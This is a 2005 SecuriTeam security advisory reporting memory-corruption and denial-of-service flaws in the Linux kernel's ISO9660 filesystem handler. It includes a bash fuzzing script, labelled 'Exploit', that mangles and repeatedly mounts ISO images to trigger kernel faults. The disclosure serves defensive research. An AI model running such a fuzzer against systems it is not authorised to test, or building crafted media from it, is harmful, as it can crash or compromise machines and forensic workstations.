

[UNIX] Linux ISO9660 Handling Flaws

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0106.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 03/23/05

To: list@securiteam.com

Date: 23 Mar 2005 10:22:03 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Linux ISO9660 Handling Flaws

SUMMARY

A number of kernel-level checking flaws were discovered in the Linux kernel's ISO9660 filesystem handler..

DETAILS

Vulnerable Systems:

- * Linux kernel version 2.6.11 and prior

Immune Systems:

- * Linux kernel version 2.6.12

There appears to be a fair number of kernel-level range checking flaws in ISO9660 filesystem handler (and Rock Ridge / Juliet extensions) in Linux up to and including 2.6.11. These bugs range from DoS conditions to potentially exploitable memory corruption – all this whenever a specially crafted filesystem is mounted or directories are examined. Most apparent flaws are expected to be fixed in Linux 2.6.12, although, as per Linus words, "that code is horrid", and it may take some time to work out all the issues.

There are two obvious ways such flaws can be used to benefit remote

attackers:

1) Bugs in removable media filesystems may be used to automatically compromise any system whose owner decided to examine a newly acquired CD-ROM, even if extreme caution is observed (that is, autorun is disabled, and no files are executed).

2) For all types of filesystems, such problems can be additionally used to subvert forensic analysis efforts. Disk images from compromised machine may infect forensic examiner's system and alter results, or simply render the machine unusable.

The following is script that can be used to test fs drivers against most obvious fault conditions. With little effort, it can be further altered to test filesystems other than ISO9660, and OSes other than Linux:

Exploit:

```
#!/bin/bash
```

```
cd /tmp || exit 1
```

```
echo '[*] Compiling mangler...'
```

```
cat >mangle.c <<_EOF_  
char buf[10240];  
main() {  
    int i,x;  
    srand(time(0) ^ getpid());  
    while ( (i = read(0,buf,sizeof(buf))) > 0) {  
        x = rand() % (i/20);  
        while (x-->0) buf[rand() % i] = rand();  
        write(1,buf,i);  
    }  
}  
_EOF_
```

```
gcc -O3 mangle.c -o mangle || exit 1
```

```
rm -f mangle.c
```

```
echo '[*] Preparing ISO master (feel free to alter this code)...'
```

```
mkdir cd_dir || exit 1
```

```
cd cd_dir
```

```
CNT=0
```

```
while [ "$CNT" -lt "200" ]; do
```

```
    mkdir A; cd A
```

```
    CNT=$((CNT+1))
```

```
done
```

```
cd /tmp/cd_dir
```

Securiteam: [UNIX] Linux ISO9660 Handling Flaws

```
A=`perl -e '{print "A"x255}' 2>/dev/null`
CNT=0
while [ "$CNT" -lt "3" ]; do
  mkdir "$A"; cd "$A"
  CNT=$((CNT+1))
done

cd /tmp

echo '[*] Creating image (alter filesystem or parameters as needed)...'

mkisofs -U -R -J -o cd.iso cd_dir 2>/dev/null || exit 1
rm -rf cd_dir

echo '[*] STRESS TEST PHASE...'

while ;; do
  DIR="/tmp/cdtest-$$-$$RANDOM"
  mkdir "$DIR"
  dmesg -c 2>/dev/null
  cat cd.iso | ./mangle >cd_mod.iso
  mount -t iso9660 -o loop,ro /tmp/cd_mod.iso "$DIR" 2>/dev/null
  # ls -lAR "$DIR" - Uncomment if you like when it HURTS...
  umount "$DIR" 2>/dev/null
  rm -rf "$DIR" 2>/dev/null
  FAULT=`dmesg | grep -Ei 'oops|unable to handle'`
  test "$FAULT" = "" || break
done

dmesg | tail -30

echo '[+] Something found (/tmp/cd-mod.iso)...'

rm -f cd.iso mangle
exit 0
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:lcamtuf@dione.ids.pl>> Michal Zalewski.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

Securiteam: [UNIX] Linux ISO9660 Handling Flaws

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.